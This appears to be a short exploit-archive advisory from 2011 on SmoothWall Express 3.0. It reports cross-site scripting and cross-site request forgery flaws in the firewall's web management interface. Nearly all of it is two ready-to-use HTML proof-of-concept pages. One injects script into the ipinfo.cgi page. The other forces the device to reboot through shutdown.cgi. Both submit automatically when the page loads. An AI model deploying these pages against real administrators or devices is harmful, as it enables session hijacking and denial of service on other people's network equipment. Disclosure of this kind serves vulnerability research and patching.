ExploitFixes
SmoothWall Express 3.0 Multiple Vulnerabilities 2011-01-17 10:15:40

The web management interface of SmoothWall Express 3.0 is vulnerable
to xss and csrf.

xss example:

<html>
<title>Download</title>
<body>
<form action="http://192.168.0.1:81/cgi-bin/ipinfo.cgi"; method="post"
id="xssplz">
<input type="hidden" name="IP" value='"<script>alert(1);</script>'></input>
<input type="hidden" name="ACTION" value='Run'></input>
</form>
<script>document.getElementById("xssplz").submit();</script>
</body>


csrf example:

<html>
<title> SmoothWall Express 3.0 csrf </title>
<body>
<form action="http://192.168.0.1:81/cgi-bin/shutdown.cgi";
method="post" id="csrfplz">
<input type="hidden" name="ACTION" value='Reboot'></input>
</form>
<script>document.getElementById("csrfplz").submit();</script>
</body>